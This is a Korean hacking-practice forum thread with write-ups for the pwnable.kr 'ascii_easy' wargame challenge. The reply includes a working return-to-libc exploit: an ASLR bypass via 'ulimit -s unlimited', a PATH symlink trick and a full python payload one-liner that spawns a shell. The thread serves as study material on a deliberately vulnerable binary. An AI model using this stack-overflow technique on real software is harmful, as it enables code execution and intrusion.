[풀이] ascii_easy

해킹대회 문제 풀이 연습장소

Moderator: amesianx

Post Reply
hackhack
Posts: 14
Joined: Mon Sep 26, 2016 1:12 am

[풀이] ascii_easy

Post by hackhack » Mon Oct 03, 2016 7:17 pm

입력한 값을 그대로 오버플로우가 일어나는 스택 버퍼에 복사해주는 문제입니다. 하지만, 각각의 값이 ascii 범위(0x20 <= x <= 0x7f) 내에 있어야 합니다. ulimit -s unlimited 를 하면, mmap 랜덤이 비활성화되면서, ASLR 도 꺼지고, 라이브러리에 할당되는 주소도, 조금 변하게 됩니다.

ulimit -s unlimited 전
0xf757e000 0xf757f000 0x1000 0x0
0xf757f000 0xf7722000 0x1a3000 0x0 /lib/i386-linux-gnu/libc-2.15.so
0xf7722000 0xf7724000 0x2000 0x1a3000 /lib/i386-linux-gnu/libc-2.15.so
0xf7724000 0xf7725000 0x1000 0x1a5000 /lib/i386-linux-gnu/libc-2.15.so

ulimit -s unlimited 후
0x55555000 0x55575000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.15.so
0x55575000 0x55576000 0x1000 0x1f000 /lib/i386-linux-gnu/ld-2.15.so
0x55576000 0x55577000 0x1000 0x20000 /lib/i386-linux-gnu/ld-2.15.so
0x55577000 0x55579000 0x2000 0x0
0x55579000 0x5557a000 0x1000 0x0 [vdso]
0x5557a000 0x5557c000 0x2000 0x0
0x5558b000 0x5572e000 0x1a3000 0x0 /lib/i386-linux-gnu/libc-2.15.so
0x5572e000 0x55730000 0x2000 0x1a3000 /lib/i386-linux-gnu/libc-2.15.so
0x55730000 0x55731000 0x1000 0x1a5000 /lib/i386-linux-gnu/libc-2.15.so
0x55731000 0x55735000 0x4000 0x0

이 주소들을 보면, 대충 아스키 범위내에 있는 함수, 스트링들을 충분히 찾을 수 있을것 같죠?

gee8195
Posts: 34
Joined: Thu Jul 21, 2016 5:12 pm

Re: [풀이] ascii_easy

Post by gee8195 » Mon Oct 17, 2016 7:38 pm

이것도 저번에 힌트 주신대로 라이브러리 문자열로 환경변수 경로 추가해서 풀었습니다.

1.png
1.png (49.17 KiB) Viewed 421 times
일단 pwnable.kr 사이트에서 준 힌트대로 system,execl,execlp를 peda에서 출력해보면 해당 소스의
(c>=0x20 && c<=0x7f) 아스키 범위 내에있는 함수는 execlp()함수 입니다.


2.png
2.png (34.02 KiB) Viewed 421 times
오버플로우 시키기 위해 "/bin/sh"문자열을 찾아봤지만 아스키내의 범위가 아니었습니다.

3.png
3.png (22.17 KiB) Viewed 421 times
4.png
4.png (35.53 KiB) Viewed 421 times
여기서 힌트주셔서 tmp디렉터리에 디렉터리하나 만들고 아스키 범이 내에있는 문자열에 심볼릭 링크를 걸고
PATH에 해당 경로를 추가했습니다.


5.png
5.png (49.49 KiB) Viewed 421 times
해당 취약점을 이용하기위한 거리가 0xa8 == 168인것을 확인하고 위에서 구한것들로 페이로드를 짜면...
buffer + ebp + execlp() + dummy + "/bin/sh" + NULL pointer (RTL)
(python -c 'print "A"*172 + "\x70\x39\x64\x55" + "AAAA" + "\x55\x55\x55\x55" + "\x00"*4';cat)|./ascii_easy
이렇게 짤수 있을거같습니다.

"""
int execlp(const char *file, const char *arg0, ..., const char *argn, (char *)0);
file에 지정한 파일을 실행하며 arg0~argn만 인자로 전달한다. 파일은 이 함수를 호출한 프로세스의 검색 경로(환경 변수 PATH에 정의된 경로)에서 찾는다. arg0~argn은 포인터로 지정한다. execl 함수의 마지막 인자는 NULL 포인터로 지정해야 한다.
[출처] [ C ]exec 함수군의 함수 형태(execl, execv, execle, execve, execlp, execvp)|작성자 bestheroz
"""
execlp의 마지막인자를 NULL포인터로 지정해야하기때문에 페이로드 마지막에 NULL을 넣어줍니당

6.png
6.png (38.52 KiB) Viewed 421 times
플래그 입니다
적절한 힌트 감사합니다 ㅎㅎ

Post Reply

Who is online

Users browsing this forum: No registered users and 20 guests